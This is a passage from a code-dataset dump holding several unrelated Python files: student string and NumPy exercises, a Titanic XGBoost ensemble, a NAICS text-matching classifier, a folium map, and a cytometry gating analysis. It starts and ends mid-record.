busyness_worker\n","sub_path":"empower/triggers/busyness.py","file_name":"busyness.py","file_ext":"py","file_size_in_byte":10581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"380165002","text":"import random\nfrom random import shuffle\nfrom random import randint\n\"\"\"r = random.randint(1,100)\nprint(r)\nmin = 1\nmax = 100\ntext = input(\"H (higher) / L (lower) / S (success)? \\n\")\nwhile text != \"S\":\n if text == \"H\":\n min = r\n r = random.randint(r,max)\n print(r)\n text = input(\"H (higher) / L (lower) / S (success)? \\n\")\n elif text == \"L\":\n max = r\n r = random.randint(min,r)\n print(r)\n text = input(\"H (higher) / L (lower) / S (success)? \\n\")\nprint(\"NOICE\")\"\"\"\n\"\"\"תרגילים מחרוזת 10.11.20 1.\nword =input(\"something: \\n\")\nnewword=\"\"\nfor i in word:\n if i != \"a\" or i != \"A\":\n newword = newword + i\nprint(newword)\nפיתרון שני:\nname = input(\"enter name: \")\nname = name.replace(\"A\",\"\")\nname = name.replace(\"a\",\"\")\nprint(name)\"\"\"\n\n\"\"\"2.\nusername = input(\"username: \\n\")\npassword = \"\"\nfor i in range(6):\n password = password + random.choice(username)\nprint(password)\"\"\"\n\n\"\"\"3. עדיין לא עובד!!!\nw1 = input(\"enter something: \")\nw2 = input(\"enter other something: \")\nk=0\nfor i in w1:\n if w2.find(i) != -1:\n k1 = w1.count(i)\n k2 = w2.count(i)\n if k1 != 1:\n k = k-1\n k = k + 1\nprint(k)\"\"\"\n\n\"\"\"תרגיל 2.3 מהמצגת בעמוד\nall = input(\"write street house nm and town: \\n\")\nall=all.replace(\" \", \"\\n\")\nprint(all)\"\"\"\n\"\"\"street = \"\"\nnm = \"\"\nl = all.split()\nfor i in l:\n street += i\nprint(street)\"\"\"\n#מהקישורים שהיא שמה בכיתת גוגל\n#1. שלוש מספרים אמצעיים\n\"\"\"w = input(\"put something: \")\nlength = 0\nfor i in w:\n length+=1\nif length<7 or length%2==0:\n print(\"not good for u\")\nelse:\n print(w[(length//2)-1:(length//2)+2])\"\"\"\n#2. לשים סטרינג אחד באמצע סטרינג אחר\n\"\"\"w = input(\"put something: \")\nmiddle = input(\"the thing that will be middle: \")\nnew=\"\"\nfor i in range(len(w)):\n if i == len(w)//2:\n new+=middle[0:len(middle)]\n new+=w[i]\nprint(new)\"\"\"\n#עוד דרך לעשות את 2.\n\"\"\"w = input(\"put something: \")\nw2 = input(\"the thing that will be middle: \")\nmiddle = len(w)//2\nleft = w[:middle]\nright = w[middle:]\nprint(left+w2+right)\"\"\"\n#3. אות ראשונה אמצעית ואחרונה משני סטרינגים אחד אחרי השני\n\"\"\"w = input(\"put something: \")\nw2 = input(\"the thing that will be middle: \")\nmiddle1 = w[len(w)//2]\nmiddle2 = w2[len(w2)//2]\nprint(w[0]+w2[0]+middle1+middle2+w[len(w)-1]+w2[len(w2)-1])\"\"\"\n#4. לסדר סטרינג עם אותיות קטנות קודם\n\"\"\"w = input(\"put something: \")\nordered = \"\"\nfor i in w:\n if ord(i) >= 97 and ord(i) <= 122:\n ordered += i\nfor i in w:\n if ord(i) >= 65 and ord(i) <= 90:\n ordered+= i\nprint(ordered)\"\"\"\n#5. לספור את כל הכמויות אותיות, ספרות, וסמלים בשורה\nw = input(\"put something: \")\nchars = 0\ndigits = 0\nsymbol = 0\nfor i in w:\n if (ord(i) >= 97 and ord(i) <= 122) or (ord(i) >= 65 and ord(i) <= 90):\n chars+=1\n elif ord(i) >= 48 and ord(i) <= 57:\n digits+=1\n else:\n symbol+=1\n if i == \" \":\n symbol-=1\nprint(f\"chars = {chars}\\n digits = {digits}\\n symbols = {symbol}\")\n#7. בדיקה האם סטרינג 1 בתוך סטרינג 2\n\"\"\"w = input(\"put something: \")\nw2 = input(\"put another something: \")\na=\"\"\nfor i in w:\n if i in w2:\n continue\n else:\n a= \"False\"\n print(a)\nif a!=\"False\":\n print(\"True\")\"\"\"\n\"\"\"l=[1,2,3,4,5]\nprint(l.pop())\"\"\" #פופ היא פונקציה אשר מחזירה את הערך של התא אותו היא מחקה. (בוחרים לה אינדקס/מיקום של תא, והיא מוחקת אותו, אם לא בחרת כלום - מוחקת את התא האחרון.)\n#מבנה ליצירת ליסט רנדומלי בשורה אחת:\n#list = [i for i in range(10)]\n#לפני הלולאה אומרים איזה ערך רוצים שישב בתוך הליסט, ובסוף אומרים איזו אורך רוצים את הרשימה\n","sub_path":"Project/Targilim.py","file_name":"Targilim.py","file_ext":"py","file_size_in_byte":3998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"297352344","text":"# アンサンブル学習\r\n\r\n'''\r\nariable\tDefinition\tKey\r\nsurvival\tSurvival\t0 = No, 1 = Yes\r\npclass\tTicket class\t1 = 1st, 2 = 2nd, 3 = 3rd\r\nsex\tSex\r\nAge\tAge in years\r\nsibsp\t# of siblings / spouses aboard the Titanic\r\nparch\t# of parents / children aboard the Titanic\r\nticket\tTicket number\r\nfare\tPassenger fare\r\ncabin\tCabin number\r\nembarked\tPort of Embarkation\tC = Cherbourg, Q = Queenstown, S = Southampton\r\n'''\r\nimport xgboost as xgb\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.preprocessing import OneHotEncoder\r\nfrom sklearn.cross_validation import train_test_split\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.base import clone\r\nfrom itertools import combinations\r\nfrom sklearn.metrics import accuracy_score\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.decomposition import PCA\r\nfrom sklearn.pipeline import Pipeline\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.externals import joblib\r\nfrom sklearn.preprocessing import Imputer\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.grid_search import GridSearchCV\r\nfrom sklearn.ensemble import VotingClassifier\r\n\r\n'''\r\ndef predict(df_key, df_data, classifier, subsets):\r\n stdsc = StandardScaler()\r\n df_std = stdsc.fit_transform(df_data)\r\n df_predict = pd.DataFrame(classifier.predict(df_std[:, subsets]))\r\n df_result = pd.concat([df_key, df_predict], axis=1)\r\n df_result.rename(columns={0: 'Survived'}, inplace=True)\r\n\r\n return df_result\r\n'''\r\n\r\nclass MultivoteClassifier:\r\n '''\r\n アンサンブル分類器。\r\n ◆初期変数\r\n ・clf -> 分類器(array)\r\n\r\n ◆fit(grid)\r\n ・grid -> チューニングするパラメータ(array)\r\n ※clfの順番と合わせる\r\n ・各分類器のベストパラメータを検索し、fitさせる。\r\n\r\n ◆predict(X, y)\r\n ・与えられたテストデータに対して、答えを返す。\r\n return: キー+答え\r\n '''\r\n def __init__(self, clf, test_size=0.25):\r\n self.clf = clf\r\n\r\n def fit(self, X, y, param_grid, test_size=0.25):\r\n self.best_clf = []\r\n X_train, X_test, y_train, y_test = \\\r\n train_test_split(X, y, test_size=0.25, random_state=1)\r\n for i, clf, grid in zip(range(len(self.clf)), self.clf, param_grid):\r\n gs = GridSearchCV(estimator=clf,\r\n param_grid=grid,\r\n scoring='accuracy',\r\n cv=5,\r\n n_jobs=1)\r\n gs = gs.fit(X_train, y_train)\r\n# print(\"i:\", i, \"results:\", gs.cv_results_)\r\n self.best_clf.append(gs.best_estimator_)\r\n self.best_clf[i].fit(X_train, y_train)\r\n print(\"i:\", i, \" estimator:\", gs.best_estimator_)\r\n print(\"i:\", i, \" score:\", gs.best_score_)\r\n print(\"i:\", i, \" score:\", self.best_clf[i].score(X_test, y_test))\r\n\r\n # voting=hard: 2値分類する。 (※voting=soft: 確率を割り出す(らしい))\r\n best_clf_vote = []\r\n for i, clf in zip(range(len(self.best_clf)), self.best_clf):\r\n best_clf_vote.append((i, clf))\r\n \r\n\r\n self.voteclf_ = VotingClassifier(estimators=best_clf_vote, voting='hard', weights=None, n_jobs=1)\r\n self.voteclf_.fit(X_train, y_train)\r\n\r\n print(\"VoteScore\\n\")\r\n print(self.voteclf_.score(X_train, y_train))\r\n print(self.voteclf_.score(X_test, y_test))\r\n return self\r\n\r\n def predict(self, X, key):\r\n predict = pd.DataFrame(self.voteclf_.predict(X))\r\n result = pd.concat([predict, key], axis=1)\r\n result.rename(columns={0: 'Survived'}, inplace=True)\r\n return result\r\n\r\ndef edit_data(df, train_flg=False, test_flg=False):\r\n if train_flg:\r\n df_ret = pd.get_dummies(df[['Survived','Pclass','Sex','Age','SibSp','Parch','Fare','Embarked','Cabin']]).fillna(0)\r\n if test_flg:\r\n df_ret = pd.get_dummies(df[['Pclass','Sex','Age','SibSp','Parch','Fare','Embarked','Cabin']]).fillna(0)\r\n\r\n df_ageisnull = []\r\n for age in df['Age']:\r\n if age == 0:\r\n df_ageisnull.append(1)\r\n else:\r\n df_ageisnull.append(0)\r\n\r\n df_ret[\"Ageisnull\"] = df_ageisnull\r\n\r\n return df_ret\r\n\r\n\r\n#1.前処理\r\n# データの取得\r\ndf_train = pd.read_csv(\"dataset/train.csv\")\r\ndf_test = pd.read_csv(\"dataset/test.csv\")\r\n#print(df)\r\n# 共通の編集\r\ndf_train['Cabin'] = df_train['Cabin'].where(df_train['Cabin'].isnull(), 1)\r\ndf_test['Cabin'] = df_test['Cabin'].where(df_test['Cabin'].isnull(), 1)\r\n# 分類器の設定\r\nclf_xgb = xgb.XGBClassifier()\r\n\r\nclf = [clf_xgb]\r\n\r\n# チューニング値の設定\r\nparams = {'learning_rate': [0.01, 0.05, 0.1, 0.2],\r\n 'max_depth': [2, 3, 4, 5, 6],\r\n 'subsample': [0.9, 0.95],\r\n 'colsample_bytree': [0.5, 1.0]\r\n }\r\n\r\nparam_grid = [params]\r\n\r\n# 年齢ありデータ\r\n\r\ndf_train_edited = edit_data(df_train, train_flg=True)\r\nX, y = df_train_edited.iloc[:, 1:].values, df_train_edited.iloc[:, 0].values\r\nmlvote_age = MultivoteClassifier(clf)\r\nmlvote_age.fit(X, y, param_grid)\r\n\r\ndf_test_edited = edit_data(df_test, test_flg=True)\r\ndf_key = pd.get_dummies(df_test[['PassengerId','Pclass','Sex','Age','SibSp','Parch','Fare','Embarked','Cabin']])\r\ndf_key = df_key['PassengerId']\r\nresult = mlvote_age.predict(df_test_edited.values, df_key)\r\n\r\nresult = result.sort_values(by='PassengerId')\r\nresult.to_csv('result/xgb.csv')\r\n","sub_path":"xgb.py","file_name":"xgb.py","file_ext":"py","file_size_in_byte":5574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"379400335","text":"# --------------\n#Code starts here\r\nage=census[:,0]\r\nmax_age = age.max()\r\nmin_age = age.min()\r\nage_mean = age.mean()\r\nage_std = np.std(age)\n\n\n# --------------\n#Code starts here\r\nhigh = census[census[:,1] > 10]\r\nlow = census[census[:,1] <= 10]\r\navg_pay_high=high[:,7].mean()\r\navg_pay_low=low[:,7].mean()\r\nprint(avg_pay_high)\r\nprint(avg_pay_low)\n\n\n# --------------\n# Importing header files\r\nimport numpy as np\r\n\r\n# Path of the file has been stored in variable called 'path'\r\ndata = np.genfromtxt(path,delimiter=\",\", skip_header=1)\r\nprint(data.shape)\r\n#New record\r\nnew_record=[[50, 9, 4, 1, 0, 0, 40, 0]]\r\n\r\n#Code starts here\r\ncensus=np.concatenate((data, new_record),axis = 0)\r\nprint(census)\n\n\n# --------------\n#Code starts here\r\nrace_0=census[census[:,2]==0]\r\nrace_1=census[census[:,2]==1]\r\nrace_2=census[census[:,2]==2]\r\nrace_3=census[census[:,2]==3]\r\nrace_4=census[census[:,2]==4]\r\nlen_0=len(race_0)\r\nlen_1=len(race_1)\r\nlen_2=len(race_2)\r\nlen_3=len(race_3)\r\nlen_4=len(race_4)\r\nprint('Race_0: ', len_0)\r\nprint('Race_1: ', len_1)\r\nprint('Race_2: ', len_2)\r\nprint('Race_3: ', len_3)\r\nprint('Race_4: ', len_4)\r\nrace_list=[len_0, len_1,len_2, len_3, len_4]\r\nminority_race=race_list.index(min(race_list))\r\nprint(minority_race)\r\n\n\n\n# --------------\n#Code starts here\r\nsenior_citizens = census[census[:,0] >60]\r\nworking_hours_sum=senior_citizens.sum(axis=0)[6]\r\nprint(working_hours_sum)\r\nsenior_citizens_len = len(senior_citizens)\r\nprint(senior_citizens_len)\r\navg_working_hours = working_hours_sum/senior_citizens_len\r\nprint(avg_working_hours)\n\n\n","sub_path":"Numpy---Make-Sense-of-Census/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"424492361","text":"import pandas as pd\nimport nltk\nimport string\nimport re\nimport numpy as np\nfrom nltk.stem.snowball import SnowballStemmer\nfrom sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer\nfrom sklearn.neighbors import NearestNeighbors\nfrom sklearn.metrics.pairwise import pairwise_distances\nfrom scipy.spatial.distance import cdist\n\nSNOWBALL = SnowballStemmer('english')\nSENT_D = nltk.data.load('tokenizers/punkt/english.pickle')\nSTOPWORDS = set(nltk.corpus.stopwords.words('english'))\nPUNC = string.punctuation\n\n\nclass NeighborHood:\n \"\"\"A simple Wrapper Around our KNN Classifier\"\"\"\n\n def __init__(self, descriptionDF, n_neigh):\n self.tfidf = TfidfVectorizer()\n fitted = self.tfidf.fit_transform(\n descriptionDF.clean_description.values)\n self.fitted = fitted\n self.neighbors = NearestNeighbors(n_neighbors=n_neigh,\n algorithm='ball_tree')\n self.neighborhoods = self.neighbors.fit(self.fitted)\n\n def tfidf_transform(self, data):\n return self.tfidf.transform(data)\n\n def get_fitted_neighborhood(self):\n return self.neighbors.kneighbors(self.fitted)\n\n def get_neighborhood(self, new):\n \"\"\" Input is expected to be a list/array or terms\"\"\"\n return self.neighbors.kneighbors(self.tfidf.transform(new))\n\n\nclass Sim:\n def __init__(self, model, codes_df, base_documents, next_documents,\n override, override_title):\n self.tfidf = model\n self.codes = codes_df\n self.override = override\n self.override_title = override_title\n self.base_docs = self.tfidf.fit_transform(base_documents)\n self.next_docs = self.tfidf.transform(next_documents)\n self.distances = None\n\n def get_distances(self, metric, dense_requirement=False):\n if dense_requirement:\n d1, d2 = self.base_docs.todense(), self.next_docs.todense()\n# temp = pd.DataFrame(cdist(d2, d1, metric=metric))\n else:\n d1, d2 = self.base_docs, self.next_docs\n\n temp = pd.DataFrame(pairwise_distances(d2, d1, metric=metric))\n self.distances = temp\n return temp\n\n def get_closest_codes(self, n=1):\n inner_dists = self.distances\n foo = []\n cd = lambda x: self.codes.loc[x].code\n for i in range(inner_dists.shape[0]):\n foo.append(map(cd, inner_dists.ix[i].order()[:n].index))\n if n == 1:\n foo = pd.DataFrame(foo).reset_index()\n foo.columns = ['idx', 'guess_codes']\n for k, v in self.override.items():\n foo.ix[v, 'guess_codes'] = k\n for k, v in self.override_title.items():\n foo.ix[v, 'guess_codes'] = k\n return foo\n else:\n return pd.DataFrame(foo)\n\n\ndef load_six_digit_codes(file_path):\n return pd.read_csv(file_path)\n\n\ndef load_six_digit_code_description(file_path, digit_file_path):\n six_digit_codes = load_six_digit_codes(digit_file_path)\n codes = pd.read_json(file_path)\n codes.loc[:, 'code_len'] = codes.code.apply(lambda x: len(str(x)))\n codes = pd.merge(codes, six_digit_codes,\n left_on='code',\n right_on='2012 NAICS Code')\n codes = codes[~codes.description.isin(['See industry description for',\n 'None'])].reset_index(drop=True)\n codes['clean_description'] = codes.description.map(clean)\n return codes\n\n\ndef clean(text, stem=True):\n tokens = []\n text = re.sub('[\\d\\/]', ' ', text)\n sentences = SENT_D.tokenize(text)\n for sent in sentences:\n sent_tokens = nltk.word_tokenize(sent)\n for token in sent_tokens:\n if token not in PUNC and token not in STOPWORDS:\n if stem:\n t_stem = SNOWBALL.stem(token.lower())\n tokens.append(t_stem)\n else:\n tokens.append(token)\n return ' '.join(tokens)\n\n\ndef load_challenge_set(file_path, normalize=False):\n \"\"\"Loads the Challenge Set JSON\"\"\"\n if normalize:\n temp = pd.read_json(file_path)\n temp['clean_description'] = temp.description.map(clean)\n return temp\n else:\n return pd.read_json(file_path)\n\n\ndef load_three_digit_code_descriptions(base_file_path, three_dig_file_path):\n \"\"\"Loads the Three Digit Code Descriptions From Local Files\"\"\"\n just_three = load_three_digit_codes(three_dig_file_path)\n docs = {}\n for code in just_three.naics_code:\n with open(base_file_path + \"/%s.txt\" % code) as f:\n docs[code] = ''.join(f.readlines())\n docsDf = pd.DataFrame([docs]).T\n docsDf.reset_index(inplace=True)\n docsDf.columns = ['code', 'description']\n docsDf['clean_description'] = docsDf.description.map(clean)\n return docsDf\n\n\ndef load_three_digit_codes(file_path):\n \"\"\"Loads the Three Digit Codes From Local Files\"\"\"\n two_dig_codes = pd.read_csv(file_path)\n two_dig_codes.columns = [\"seq_number\", \"naics_code\", \"naics_title\"]\n return two_dig_codes[two_dig_codes.naics_code.map(lambda x: len(x) == 3)]\n","sub_path":"identifier/naics_identifier.py","file_name":"naics_identifier.py","file_ext":"py","file_size_in_byte":5129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"2966397","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 5 05:19:35 2017\n\n@author: stjohn\n\"\"\"\n\nimport folium\n\nmapMH = folium.Map(location=[40.815743, -73.952637],tiles=\"Cartodb Positron\",\n zoom_start=10)\n\nfolium.Marker(location=[40.815743, -73.952637], popup=\"The Mott Hall School (lat: 40.815743; lon: -73.952637)\").add_to(mapMH)\nmapMH.save(outfile=\"mhs.html\")","sub_path":"service/hsQuakes/mhsMap.py","file_name":"mhsMap.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"316735386","text":"\"\"\"\r\n1.r+ 和 w+ a+ 区别\r\n2.文件指针对数据读取的影响\r\n\"\"\"\r\n# r+: r没有该文件则报错;文件指针在开头,所以能读取出来数据\r\n# w+: 没有该文件会新建文件: w特点:文件指针在开头,用新内容覆盖原内容\r\n# a+: 没有该文件新建文件: 文件指针在结尾,无法读取数据(文件指针后面没有数据)\r\n# f = open('test1.txt','w+')\r\n# f = open('test.txt','w+')\r\nf = open('test2.txt','a+')\r\ncon = f.read()\r\nprint(con)\r\nf.close()\r\n\r\n","sub_path":"文件操作/3.访问模式特点.py","file_name":"3.访问模式特点.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"16597924","text":"#!/usr/bin/env python\n\nimport itertools\nimport re\nfrom functools import partial\n\nfrom matplotlib.colors import LogNorm\nimport parmap\nimport networkx as nx\n\nfrom imc.operations import (\n get_population,\n fit_gaussian_mixture,\n get_best_mixture_number,\n get_threshold_from_gaussian_mixture,\n)\nfrom imc.graphics import get_grid_dims\nfrom imc.types import Series, DataFrame\nfrom seaborn_extensions import swarmboxenplot\n\nfrom src.config import *\n\n\nswarmboxenplot = partial(swarmboxenplot, test_kws=dict(parametric=False))\n\n\ndef get_interaction_by_state(\n roi: \"ROI\",\n state_vector: Series,\n state_name: str = None,\n correct: bool = True,\n) -> DataFrame:\n from imc.operations import (\n # correct_interaction_background_pharmacoscopy,\n correct_interaction_background_random,\n )\n\n def label(x):\n return (\n x.assign(roi=roi.name)\n .set_index(\"roi\", append=True)\n .reorder_levels([1, 0])\n )\n\n if state_name is None:\n state_name = \"state\"\n\n state = state_vector.loc[roi.name].str.endswith(\"+\")\n\n # Align state with graph nodes\n # # in case cells quanitfied were filtered out or don't have a cluster\n objs = roi.adjacency_graph.nodes.keys()\n state = state.reindex(objs)\n clusters = roi.clusters.reindex(objs)\n\n name = f\"cluster_{state_name}\"\n new_clusters = clusters + \" - \" + state.astype(str)\n nx.set_node_attributes(roi.adjacency_graph, new_clusters, name=name)\n rf, rl = nx.linalg.attrmatrix.attr_matrix(\n roi.adjacency_graph, node_attr=name,\n )\n rl = pd.Series(rl, dtype=roi.clusters.dtype)\n freqs = pd.DataFrame(rf, index=rl, columns=rl).sort_index(0).sort_index(1)\n if not correct:\n return label(freqs)\n # freqs_norm = correct_interaction_background_pharmacoscopy(\n # freqs, new_clusters.value_counts(), new_clusters.shape[0]\n # )\n freqs_norm = correct_interaction_background_random(\n roi, freqs, name, 100, False, \"\"\n )\n return label(freqs_norm)\n\n\noutput_dir = results_dir / \"gating\"\n\n\nquantification_file = results_dir / \"cell_type\" / \"quantification.pq\"\ngating_file = results_dir / \"cell_type\" / \"gating.pq\"\npositive_file = results_dir / \"cell_type\" / \"gating.positive.pq\"\npositive_count_file = results_dir / \"cell_type\" / \"gating.positive.count.pq\"\nids = [\"sample\", \"roi\"]\n\n# load quantification\nquant = pd.read_parquet(quantification_file)\nquant.loc[:, \"DNA\"] = quant[[\"DNA1(Ir191)\", \"DNA2(Ir193)\"]].mean(1)\nquant = pd.concat([np.log1p(quant.drop(ids, axis=1)), quant[ids]], axis=1)\n\n# remove excluded channels\nquant = quant.drop(channels_exclude, axis=1, errors=\"ignore\")\n\n\n# Univariate gating of each channel\nthresholds_file = output_dir / \"thresholds.json\"\nmixes_file = output_dir / \"mixes.json\"\nif not (thresholds_file.exists() and thresholds_file.exists()):\n mixes = dict()\n thresholds = dict()\n for m in quant.columns:\n if m not in thresholds:\n mixes[m] = get_best_mixture_number(quant[m], 2, 8)\n thresholds[m] = get_threshold_from_gaussian_mixture(\n quant[m], None, mixes[m]\n ).to_dict()\n json.dump(thresholds, open(thresholds_file, \"w\"))\n json.dump(mixes, open(mixes_file, \"w\"))\nthresholds = json.load(open(output_dir / \"thresholds.json\"))\nmixes = json.load(open(output_dir / \"mixes.json\"))\n\n\n# Make dataframe with population for each marker\nif not gating_file.exists():\n pos = pd.DataFrame(index=quant.index, columns=quant.columns.drop(ids))\n for m in pos.columns:\n name = m.split(\"(\")[0]\n o = sorted(thresholds[m])\n if mixes[m] == 2:\n pos[m] = (quant[m] > thresholds[m][o[0]]).replace(\n {False: name + \"-\", True: name + \"+\"}\n )\n else:\n pos[m] = (quant[m] > thresholds[m][o[-1]]).replace(\n {True: name + \"+\"}\n )\n sel = pos[m] == False\n pos.loc[sel, m] = (\n quant.loc[sel, m] > thresholds[m][o[-2]]\n ).replace({True: name + \"dim\", False: name + \"-\"})\n pos = pd.concat([pos, quant[ids]], axis=1)\n pos.to_parquet(gating_file)\npos = pd.read_parquet(gating_file)\npos.index.name = \"obj_id\"\n\n\n# Compare with clustering\nset_prj_clusters(aggregated=True)\nposc = pos.reset_index().merge(\n prj.clusters.reset_index(), on=[\"sample\", \"roi\", \"obj_id\"]\n)\nposc = posc.query(\"cluster != ''\")\n\n# # number of positive cells, per ROI, per cell type\nposcc = pd.DataFrame(\n [\n posc.groupby([\"roi\", \"cluster\"])[m].apply(\n lambda x: x.str.contains(r\"\\+|dim\").sum()\n )\n for m in quant.columns.drop(ids)\n ]\n).T\n\n# # sum by cluster\nposccg = poscc.groupby(level=\"cluster\").sum()\ngrid = sns.clustermap(\n posccg / posccg.sum(),\n center=0,\n z_score=0,\n cmap=\"RdBu_r\",\n robust=True,\n xticklabels=True,\n yticklabels=True,\n)\ngrid.fig.savefig(\n output_dir / \"gating_vs_clustering_comparison.clustermap.svg\", **figkws\n)\n\n# # sum by sample\ns = poscc.index.get_level_values(\"roi\").str.extract(r\"(.*)-\")[0].values\nposccs = poscc.groupby(by=s).sum()\n\ngrid = sns.clustermap(\n posccs / posccs.sum(),\n center=0,\n z_score=0,\n cmap=\"RdBu_r\",\n robust=True,\n xticklabels=True,\n yticklabels=True,\n)\n\n\n# # sum by sample, per cell type\nq = (\n posc.drop(ids + [\"obj_id\", \"cluster\"], axis=1)\n .apply(lambda x: x.str.endswith(\"+\"))\n .join(posc[ids + [\"obj_id\", \"cluster\"]])\n)\nq.to_parquet(positive_file)\n\nposcc = q.drop(\"obj_id\", axis=1).groupby([\"roi\", \"cluster\"]).sum()\nposcc.to_parquet(positive_count_file)\n\n# Let's look at infection\nsample_area = (\n pd.Series([sum([r.area for r in s]) for s in prj], [s.name for s in prj])\n / 1e6 # square microns to square milimeters\n)\nroi_area = (\n pd.Series([r.area for r in prj.rois], [r.name for r in prj.rois])\n / 1e6 # square microns to square milimeters\n)\nroi_cell_count = prj.clusters.groupby(level=\"roi\").size()\nroi_cluster_count = (\n prj.clusters.to_frame()\n .assign(count=1)\n .pivot_table(\n index=\"roi\",\n columns=\"cluster\",\n aggfunc=sum,\n values=\"count\",\n fill_value=0,\n )\n).drop(\"\", 1)\n\n\n_stats = list()\nphenotypes = sample_attributes[\"phenotypes\"].unique()\nfor marker, state in [\n (\"SARSCoV2S1(Eu153)\", \"infected\"),\n (\"C5bC9(Gd155)\", \"complement\"),\n (\"CleavedCaspase3(Yb172)\", \"apoptotic\"),\n (\"IL6(Gd160)\", \"inflamatory_IL6\"),\n (\"IL1beta(Er166)\", \"inflamatory_IL1beta\"),\n (\"Ki67(Er168)\", \"proliferative\"),\n (\"pCREB(Ho165)\", \"pCREB\"),\n (\"cKIT(Nd143)\", \"cKIT\"),\n (\"iNOS(Nd142)\", \"iNOS\"),\n (\"MPO(Yb173)\", \"MPO\"),\n (\"Arginase1(Dy164)\", \"Arginase1\"),\n]:\n p = (\n poscc[marker]\n .to_frame()\n .pivot_table(\n index=\"roi\", columns=\"cluster\", values=marker, fill_value=0\n )\n )\n p_area = (p.T / roi_area).T\n p_perc = (p / (roi_cluster_count + 1)) * 100\n\n for df, label, unit in [\n (p_area, \"area\", \"per mm2\"),\n (p_perc, \"percentage\", \"(%)\"),\n ]:\n # # add jitter so it can be tested\n df += np.random.random(df.shape) * 1e-5\n\n # Clustermaps\n grid = sns.clustermap(df, cbar_kws=dict(label=f\"{state} cells {unit}\"))\n grid.savefig(output_dir / f\"{state}_cells.per_{label}.clustermap.svg\")\n plt.close(grid.fig)\n grid = sns.clustermap(\n df, cbar_kws=dict(label=f\"{state} cells {unit}\"), norm=LogNorm(),\n )\n grid.savefig(\n output_dir / f\"{state}_cells.per_{label}.clustermap.log.svg\"\n )\n plt.close(grid.fig)\n\n grid = sns.clustermap(\n df.join(roi_attributes[[\"phenotypes\"]])\n .groupby(\"phenotypes\")\n .mean(),\n cbar_kws=dict(label=f\"{state} cells {unit}\"),\n figsize=(6, 3),\n )\n grid.savefig(\n output_dir\n / f\"{state}_cells.per_{label}.clustermap.by_phenotypes.svg\"\n )\n plt.close(grid.fig)\n\n # Swarmboxemplots\n n, m = get_grid_dims(df.shape[1])\n fig, axes = plt.subplots(n, m, figsize=(m * 4, n * 4))\n fig.suptitle(f\"{state.capitalize()} cells ({marker}+)\")\n for ax, ct in zip(axes.flat, df.columns):\n stats = swarmboxenplot(\n data=df[[ct]].join(roi_attributes[\"phenotypes\"]),\n x=\"phenotypes\",\n y=ct,\n ax=ax,\n plot_kws=dict(palette=colors[\"phenotypes\"]),\n )\n _stats.append(stats.assign(state=state, kind=label, cell_type=ct))\n fig.savefig(output_dir / f\"{state}_cells.{label}.swarmboxenplot.svg\")\n plt.close(fig)\n\n # Let's also plot for each phenotype separately, which cell types are most affected\n n, m = get_grid_dims(len(phenotypes))\n fig, axes = plt.subplots(n, m, figsize=(m * 4, n * 4))\n fig.suptitle(f\"{state.capitalize()} cells ({marker}+)\")\n for phenotype in phenotypes:\n v = (\n df.join(roi_attributes[[\"phenotypes\"]])\n .query(f\"phenotypes == '{phenotype}'\")\n .drop(\"phenotypes\", axis=1)\n )\n vm = v.mean().sort_values(ascending=False)\n vmelt = v.melt(var_name=\"cell_type\", value_name=f\"cells {unit}\")\n # order\n vmelt[\"cell_type\"] = pd.Categorical(\n vmelt[\"cell_type\"], categories=vm.index, ordered=True\n )\n vmelt = vmelt.sort_values(\"cell_type\")\n\n # # for each roi\n fig, stats = swarmboxenplot(\n data=vmelt, x=\"cell_type\", y=f\"cells {unit}\"\n )\n fig.axes[0].set(\n title=f\"{state.capitalize()} cells ({marker}+)\",\n xlabel=f\"Cells {unit}\",\n )\n fig.savefig(\n output_dir\n / f\"{state}_cells.{label}.cell_types_affected.{phenotype}_only.swarmboxenplot.svg\",\n **figkws,\n )\n plt.close(fig)\n _stats.append(\n stats.assign(state=state, kind=label, phenotype=phenotype)\n )\n\n # # reduced by mean\n fig, ax = plt.subplots(1, 1, figsize=(4, 2))\n ax.set(\n title=f\"{state.capitalize()} cells ({marker}+)\",\n xlabel=f\"Cells {unit}\",\n )\n sns.barplot(vm, vm.index, ax=ax)\n fig.savefig(\n output_dir\n / f\"{state}_cells.{label}.cell_types_affected.{phenotype}_only.mean.barplot.svg\",\n **figkws,\n )\n plt.close(fig)\nstats = pd.concat(_stats)\nstats.to_csv(\n output_dir / \"functional_state_comparison.statistics.csv\", index=False\n)\n# Save for supplement\nstats.to_excel(\"manuscript/Supplementary Table 4.xlsx\", index=False)\n\n\n# get mean/max values to be reported\nroi_attributes[\"phenotypes\"] = roi_attributes[\"phenotypes\"].cat.add_categories(\n [\"COVID19\"]\n)\nroi_cell_count = prj.clusters.reset_index().groupby([\"roi\", \"cluster\"]).size()\nmean_values = (poscc.T / roi_cell_count).T.join(\n roi_attributes[[\"phenotypes\"]]\n).groupby([\"phenotypes\", \"cluster\"]).mean().dropna() * 100\nmean_covid = (poscc.T / roi_cell_count).T.join(\n roi_attributes[[\"disease\"]]\n).groupby([\"disease\", \"cluster\"]).mean().dropna().loc[[\"COVID19\"]] * 100\nmean_covid.index.names = [\"phenotypes\", \"cluster\"]\nmean_covid.index = pd.MultiIndex.from_tuples(mean_covid.index.to_list())\nmean_values = pd.concat([mean_values, mean_covid])\nmean_values.to_csv(output_dir / 